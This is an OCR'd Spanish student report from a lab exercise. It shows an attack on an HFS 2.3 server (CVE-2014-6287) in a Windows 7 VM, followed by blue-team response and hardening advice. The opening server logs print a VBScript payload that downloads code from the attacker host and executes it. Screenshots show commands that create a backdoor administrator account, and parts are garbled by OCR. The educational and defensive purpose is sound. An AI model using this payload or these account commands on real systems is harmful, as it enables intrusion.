11:34:34 a.m. 10.0.2.14:42693 Requested GET /?search=11:39:13 a.m. 10.0.2.14:36625 Requested GET /?search=> On+Error+Resume+Next
> x.Open+"GET","http://10.0.2.14:8080/3gPKwWS" False

> If+Err Number+<>+0+Then

> wsh_exit

> End+if

> x.Send

> Execute+x responseText }

11:39:13 a.m. 10.0.2.14:44495 Requested GET /?search=

3l | 59 IP address ) File

Out:0.0KB/s  In:0.0 KB/s

o di2am. ]
A sompon |

18 o0EREEE ™

LAl Q Buscar

Fuente. Propio

Una vez establecido el control remoto de la maquina objetivo, se evidencia que abre el
acceso en la carpeta de Temp Local, ubicada en el disco C.

Mediante el comando “cd..” ejecutado 5 veces llegamos a la raiz del disco “C:” desde
donde se realiza la ejecucion del comando “net user AlvaroVasquez 123 /add”, el cual permite en
la maquina vulnerable crear un usuario del sistema de nombre “AlvaroVasquez” y contrasena

“123” conforme siguiente imagen.
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llustracion 8
Ejecucion comandos creacion nuevo usuario desde maquina atacante

Applications  Places @8 Terminal Nov 10 13:52

/ n Terminal

80/1C: \Users\usuario\AppData\Local\Temp>cd. .
cd..

Nmaj
C:\Users\usuario\AppData\Local>cd. .
cd..

sta) €t \Users\usuario\AppData>cd. .
Nmaj cd..

Host s
Not C:\Users\usuario>cd..
poricd. -

80/1
|_htC:\Users>cd. .
135,¢d. .

139/

445,C:\>net user Alvaro_Vasquez 123 /add
RKGENet user Alvaro_Vasquez 123 /add
286¢La cuenta ya existe.

535]
|_hiPuede obtener mes ayuda con el comando NET HELPMSG 2224.
Ser\

Hos1C:\>net user AlvaroVasquez 123 /add
|_snnet user AlvaroVasquez 123 /add

|_srSe ha completado el comando correctamente.
| sn

Lo EilE®EoR

Fuente. Propio

Ahora encontramos evidencia de usuario creado en la maquina Windows 7.

lustracién 9
Confirmacion creacion del usuario en maquina Win7

AlvaroVasquez A USUario

Con sesioniniciads

P

\

1ws10.m.
£ a

SP
(LY. W B 10/11/2024 =

Fuente. Propio
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llustracion 10
Inicio de sesién nuevo usuario AlvaroVasquez

Win7-SE2020-X64 [Cor A VirtualBox - o

. ESP o 1
B o FOm

Fuente. Propio
De igual forma, mediante el uso de comandos nos permite ubicarnos en la carpeta de “cd
Windows\System32” demostrando que se tiene acceso a cualquier informacion del sistema.
Adicionalmente, aun mas delicado, permite realizar configuracién del usuario creado
como administrador “net localgroup administradores “AlvaroVasquez” /add” dejando alin mas

vulnerable la maquina objetivo conforme se evidencia en las siguientes ilustraciones.
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llustracion 11
Configuracién de usuario AlvaroVasquez como administrador

Applications  Places B8 Terminal Nov 10 12:02

a Terminal

net localgroup administrators "AlvaroVasquez" /add
Error de sistema 1376.

El grupo local especificado no existe.
) -sV 10.0.2.15
Starting Nmap 7.94 ( https://mn
Nmap scan report for 10.0.2.15 C:\>cd windows
Host is up (0.0051s latency). cd windows
: 994 filtered tcp pox
STATE SERVICE VEFC:\Windows>cd sistemas
open http Httcd sistemas
open msrpc MicEl sistema no puede encontrar la ruta especificada.
open netbios-ssn Mic
open microsoft-ds MicC:\Windows>cd sistema
cd sistema
open http MicEl sistema no puede encontrar la ruta especificada.
open http Mic
Service Info: Host: PC202006; (C:\Windows>cd system32
cd system3?
Service detection perfemied. Pl
.org/submit/ . C:\Windows\System32>net localgroup administradores "AlvaroVasquez" /add
Nmap done: 1 12 address (1 hostnet localgroup administradores "AlvaroVasquez® /add
Se ha completado el comando correctamente.
L ) -sV 10.0.2.
Starting Nmap 7.94 ( https://nnC:\Windows\System32>]

CherryTree

LG FeAmo 4T (IOl

Fuente. Propio

llustracién 12
Evidencia usuario AlvaroVasquez administrador maquina Windows 7

& 4

Popeionde @@v\‘g« Cuentas de usuario y proteccién infantil » Cuentas de usuario
reciclaje

Ventana principal del Panel de
control

*, Administrar credenciales

b T AlvaroVasquez
Crear un disco para restablecer Quitar I contrasefia | q
Firefox. contrasefia 3 Administrador
Cambiarimagen Protegida por contrasefia

Vincular identificadores en
linea

Realizar cambios en la cuenta de usuario

Cambiar el nombre de cuenta
i i y Cambiar el tipo de cuenta
Administrar sus certificados de
cifrado de archivo

Configurar las propiedades Administrar otra cuenta

avanzadas del perfil de usuario < . ;
Cambiar configuracién de Control de cuentas de usuario

Cambiar las variables de

entorno

# Control parental

Fuente. Propio
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Se confirma la intrusion exitosa desde la maquina Kali Linux a la maquina Windows 7
por la aplicacion HFS la cual mantiene el puerto 80 abierto para su funcionamiento sin
restricciones, permitiendo que se realice creacion de usuario y configuracion del usuario como

administrador evidenciando un alto grado de vulnerabilidad.

Algunos Datos Tenidos en Cuenta Para Identificar Fallas de Seguridad

- La fuga de informacion que ha sufrido la empresa nos da a entender que existe
una o mas puertas abiertas por la cual se esta accediendo remotamente al equipo.

- La aplicacion detectada como vulnerable bajo Windows nos permite validar
mediante el escaneo de puertos y versiones de software presentes en el equipo objetivo e
investigar las vulnerabilidades segun los resultados del escaneo.

- El saber que existe un exploit que permite acceso a través de shell evidencia que

es una vulnerabilidad ya conocida e identificable.

Herramienta Utilizada Para Poder Identificar Los Fallos De Seguridad De La “Maquina
Windows”

Se utiliz6 la herramienta NMAP con el comando nmap -sV 10.0.2.*, la cual mostr6 que
en la maquina Windows de IP 10.0.2.15 el puerto 80 se encuentra abierto mediante la versién de
software “HttpFileServer httpd 2.3, esto permiti6 investigar en la base de CVE las posibles
vulnerabilidades presentes y el exploit de ataque, logrando de esta forma realizar un ataque

exitoso.



Afectacion Del Ataque Realizado

Este ataque permite acceder remotamente a simbolo del sistema de Windows desde la
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maquina atacante y ejecutar diversos comandos afectando la integridad del sistema, de tal forma

que podria tener control total del sistema, ataques de denegacidn de servicio DoS, hurto de

informacidn, instalacion malwares y dafios al sistema a través de eliminacion o modificacion de

archivos criticos.

llustracion 13
Topologia de Red de Ataque

-

Equipo
Kali Linux

Fuente. Propio

- _ intemey
Solicitud HTTP R

Red AN

Puerto 80

7 5
Windows 7

Aplicacion HFS 2.3
Vulnerable
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Acciones Por Parte de Blue Teams Frente un Ataque Cibernético en un Ambiente
Controlado

Las primeras indagaciones y acciones a realizar durante un ataque informatico en tiempo
real el cual afecta una maquina Windows 7 son:

- Identificacion del ataque: Mediante la implementacion de herramientas con
licencia GPL como Wireskark y Snort, podremos analizar y detectar actividad sospechosa en la
red y hacia que host esta dirigida.

0 Wireshark permitira analizar el trafico de red en tiempo real y de esta
forma identificar patrones irregulares evidenciando el ataque.

0 Snort permitira evidenciar las alertas generadas por el ataque al realizar
actividades sospechosas como el escaneo de puertos, intento de explotacion de
vulnerabilidades y el trafico malicioso
- Contencidn del ataque: Se procede inmediata al aislamiento de la maquina

afectada retirandola de la red de forma fisica y I6gica evitando la propagacién del ataque y
riesgos adicionales. Adicionalmente se procede por medio de Firewall al bloqueo de IPsy
puertos para prevenir mas ataques en la red.

- Analisis Forense: Con este analisis estableceremos el alcance del ataque, con el
uso de herramientas como Autopsy la cual nos permitira validar registros logs y evidenciar si se
ha borrado informacidn, analizar registros y obtener informacion detallada del sistema atacado,
de igual forma, se realiza analisis mediante la herramienta RegRipper la cual también nos
permitird evidencias cuentas de usuarios creadas, cambios en la configuracion del sistemay en

las politicas de seguridad.
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- Mitigacion y Recuperacion: Mediante el uso de la herramienta Autopsy se
realizara recuperacion de la informacion comprometida, se eliminaran usuarios creados durante
el ataque, se realizara ejecucion de antivirus y antivirus y antimalware para eliminar cualquier
infeccion 0 amenaza que pudiese estar en el sistema, por otra parte, se implementaran nuevas
politicas de seguridad con el fin de mitigar los riesgos. De ser necesario se podra hacer uso de
recuperacion del sistema mediante el uso de Backup seguro.

- Implementacion de mejora: Mediante la implementacion de OpenVas se realiza
escaneo a la red para encontrar y corregir vulnerabilidades en los sistemas, ademas, se
implementaran parches y actualizaciones necesarias para corregir dichas vulnerabilidades junto
con capacitacion en ciberseguridad a usuarios.

- Documentacidn y reporta: Posterior a un ataque informatico es crucial para
identificar la causa del ataque, evaluar el impacto, mejorar las estrategias de seguridad, cumplir
con normativas y regulaciones, y capacitar al personal para futuros incidentes. Esta
documentacion proporciona transparencia y se convierte en una herramienta importante para la

implementacidn de mejoras continuas y fortalecer la postura de seguridad de la informacién.

Diferencias Entre un Equipo Blueteam y un Equipo de Respuesta A Incidentes
Informéticos

Un equipo Blue Team se dedica a fortalecer y proteger de manera proactiva la
infraestructura de T1 mediante la implementacion de medidas preventivas y el monitoreo
continuo. Utilizan herramientas de deteccion de intrusiones para identificar y neutralizar
amenazas antes de que comprometan la red, también aplican estrategias de endurecimiento de

sistemas, asegurando que todas las configuraciones y parches estén actualizados para mitigar
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vulnerabilidades conocidas. Este equipo esta encargado de realizar pruebas de penetracion
internas y auditorias de seguridad periddicas para evaluar y mejorar continuamente la seguridad.
Un equipo de Respuesta a Incidentes Informaticos (IR Team) actia de manera reactiva
frente a los incidentes de seguridad. Se enfoca en la contencion, erradicacion y recuperacion de
los sistemas comprometidos posterior a un ataque. Utilizan técnicas de analisis forense para
investigar la causa y el impacto del ataque, también documentan el incidente y las lecciones
aprendidas para mejorar la preparacion y respuesta ante futuros ataques asegurando una

recuperacion rapida y eficaz de los sistemas afectados.

Que Implementar de CIS “Center For Internet Security” Dentro de un Blue Teams

Se recomienda utilizar el Center for Internet Security (CIS) para acceder a los CIS
Controls con el fin de implementar las practicas recomendadas, priorizadas y simplificadas que
fortaleceran la seguridad de nuestra infraestructura. Ademas, emplearia las guias de CIS
Benchmarks para aplicar configuraciones especificas que se ajusten a las necesidades de la
empresa, asegurando asi la proteccidn de nuestros sistemas frente a amenazas cibernéticas.

Por otra parte, implementaria la herramienta CIS-CAT L.ite para realizar escaneos y
evaluaciones detalladas de la configuracion de nuestros sistemas, verificando el cumplimiento
con los estandares establecidos en los CIS Benchmarks. Esta herramienta permite identificar y
corregir configuraciones inseguras, asegurando gue los sistemas cumplan con las mejores

practicas de seguridad cibernética.
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Funciones y Caracteristicas Principales de lo Que es un SIEM

Un Security Information and Event Management (SIEM) tiene como funciones
principales la recoleccion, normalizacion y analisis de eventos de seguridad provenientes de
diferentes fuentes en una red. Permite la correlacion de estos eventos para identificar patrones de
ataque y generar alertas en tiempo real sobre posibles amenazas. Un SIEM también facilita la
investigacion forense post-incidente al centralizar los logs y eventos, y proporciona herramientas
para el reporte de cumplimiento normativo. En resumen, su principal funcién es mejorar la
capacidad de deteccion y respuesta ante incidentes de seguridad al consolidar y analizar datos de
multiples fuentes.

Las caracteristicas principales de un SIEM incluyen la capacidad de integracion con
diversos dispositivos y aplicaciones para una recoleccion de logs centralizada, la normalizacion
de datos para facilitar su analisis, y motores de correlacion avanzados que permiten identificar
actividades sospechosas, también suelen ofrecer dashboards personalizables, herramientas de
reporte robustas, y capacidades de respuesta automatizada ante incidentes. La escalabilidad para
manejar grandes volumenes de datos y la capacidad de generar informes detallados para

cumplimiento regulatorio también son caracteristicas cruciales de estas plataformas.

Herramientas de Contencion de Ataques Informaticos “Hardware 0 Software”

- Cisco ASA: Actla como una barrera entre la red interna y externa, bloqueando
trafico no autorizado basado en reglas predefinidas.

- Cisco Identity Services Engine (ISE): Restringe el acceso a la red solo a
dispositivos que cumplen con politicas de seguridad especificas, conteniendo dispositivos no

autorizados.
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- MikroTik RouterOS: Utiliza técnicas como VLANS para aislar segmentos de la
red, limitando la capacidad de propagacion de un atacante dentro de la infraestructura de la
organizacion.

- Docker: Usa técnicas como contenedores 0 micro-segmentacion para aislar

aplicaciones, evitando que un ataque en una aplicacion afecte a otras.
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Conclusiones

Como especialistas en ciberseguridad es importante el claro conocimientos y
cumplimiento de las leyes y decretos que rigen la seguridad de la informacion y los datos
personales, de tal forma que podamos garantizar un desarrollo ético y profesional con integridad,
transparencia y responsabilidad.

El no denunciar actos delictivos, acarrea graves sanciones para quienes las cometen y/o
son complices de las éstas.

Como especialistas en ciberseguridad evidencio falla de seguridad debido a la no
actualizacion y parcheo de la aplicacion HFS 2.3 y la falta de controles en puertos abiertos, toda
vez que también se evidencia el puerto 445/tcp abierto el cual presenta vulnerabilidad y permite
acceso remoto a los atacantes.

Las vulnerabilidades encontradas son graves, toda vez que exponen la integridad de los
sistemas y la informacion que alli reposa.

La implementacidn de IPS y politicas de seguridad robustas en firewall, permitirian un
mayor control para mitigar ataques exitosos.

Implementar auditorias internar y pruebas de penetracion periodicas permitirian encontrar
fallas de seguridad anticipandose a los ciberatacantes, logrando corregir las vulnerabilidades
encontradas.

Las herramientas de seguridad como los firewalls, sistemas IDS/IPS y el sandboxing son
esenciales para detectar y contener amenazas en tiempo real. La combinacién de medidas
proactivas (como el uso de CIS Controls y CIS Benchmarks) con medidas reactivas (como las
herramientas de contencién y la respuesta a incidentes) es crucial para mantener una

infraestructura segura y resiliente frente a ataques cibernéticos.
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Herramientas como CIS-CAT Lite permiten la evaluacion continua del cumplimiento de
los sistemas con las mejores préacticas de seguridad. Esta evaluacion regular es fundamental para
identificar y corregir configuraciones inseguras, asegurando que los sistemas se mantengan
alineados con los estandares de seguridad reconocidos y protegiendo asi contra nuevas
amenazas.

Es crucial implementar una estrategia de gestion integral que incluya la identificacion,
evaluacion, priorizacion y remediacion de estas. Utilizar herramientas de escaneo de
vulnerabilidades, como Nessus o OpenVAS, permite detectar y evaluar puntos débiles en los
sistemas. Una vez identificadas, las vulnerabilidades deben ser priorizadas segun su criticidad y
el impacto potencial en la organizacion. La aplicacién de parches y actualizaciones de software
es una medida esencial para mitigar estas vulnerabilidades. Ademas, realizar pruebas de
penetracion regularmente ayuda a asegurar que las medidas de seguridad implementadas sean
efectivas y que no haya nuevas vulnerabilidades expuestas. Esta gestidn proactiva y continua es

fundamental para mantener la integridad y seguridad de los sistemas frente a posibles amenazas.
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Recomendaciones

Algunas medidas de Hardenizacion que se recomiendan implementar frente a el escenario
planteado son:

- Actualizar el Software: La vulnerabilidad CVE-2014-6287 permite la ejecucion
remota de codigo de comandos, para mitigar este riesgo, es importante actualizar la herramienta
a su version mas reciente de HFS, la cual tendra corregida esta vulnerabilidad.

- Configuracion de Seguridad: Configurar las herramientas de transferencia de
datos 0 como en este caso HFS, para restringir el acceso solo a usuarios autorizados y limitar las
funciones disponibles al deshabilitar funciones innecesarias, implementar Control de Acceso
Basado en Roles para asegurar que solo usuarios autorizados puedan acceso a ciertas funciones y
configurar listas de IP para permitir solo conexiones desde direcciones IP de confianza.

- Monitoreo Continuo: Implementar herramientas de monitoreo como OSSEC para
la deteccion de intrusiones en tiempo real, la cual permitira analizar registros de logs y detectar
comportamientos inusuales, permitiendo una respuesta rapida ante cualquier intento de
explotacién de vulnerabilidades.

- Firewall, Antivirus y Antimalware: Configurar un firewall robusto para filtrar el
trafico en la red. Utilizar un antivirus y Antimalware para escanear y eliminar amenazas
potencialmente introducidas durante el ataque.

- Auditoria Regular: Implementar auditorias de seguridad periddicas utilizando
herramientas como OpenVAS para identificar y corregir vulnerabilidades.

Otras recomendaciones generales son:

Para el Blue Team, es esencial implementar herramientas de monitoreo y deteccion de

intrusiones como Snort y Suricata, que permiten identificar amenazas en tiempo real. También
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deben realizar evaluaciones periodicas de vulnerabilidades utilizando herramientas como
OpenVAS y Nmap, ademas de gestionar los parches de manera efectiva con soluciones como
GLPI1y OCS Inventory. Ademas, es crucial desarrollar y practicar planes de respuesta a
incidentes, para lo cual herramientas como OSSEC y Wazuh pueden ser muy Utiles.

El Red Team debe enfocarse en realizar pruebas de penetracion con herramientas como
Metasploit y Aircrack-ng, y utilizar técnicas de ingenieria social para evaluar la preparacion del
personal, empleando herramientas como SET (Social-Engineer Toolkit). También es importante
simular ataques reales utilizando plataformas como Kali Linux, que incluye una amplia gama de
herramientas de seguridad GPL, y desarrollar exploits personalizados con herramientas como
ExploitDB.

En cuanto a las capacidades legales, el Blue Team debe asegurarse de cumplir con todas
las leyes y regulaciones locales e internacionales, utilizando herramientas como OpenSCAP.
También deben implementar politicas y procedimientos para proteger los datos personales y
sensibles, para lo cual herramientas como VeraCrypt pueden ser (tiles.

Para la gestion, el Blue Team debe desarrollar una estrategia de seguridad a largo plazo,
invertir en la formacidn continua del personal y fomentar la colaboracion entre departamentos. El
Red Team debe realizar evaluaciones de riesgos, mantener una comunicacion clara con el Blue

Team y otros stakeholders, y revisar y actualizar regularmente sus técnicas y herramientas.
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Anexos
Anexo A
Capacidades Técnicas, Legales y de Gestion Para Equipos Blue Team y Red Team
En este video se expone el desarrollo del informe técnico correspondiente al Seminario
Especializado: Equipos Estratégicos en Ciberseguridad: Red Team & Blue Team. El video se

encuentra en el siguiente enlace: https://youtu.be/W_3bOOrdm04



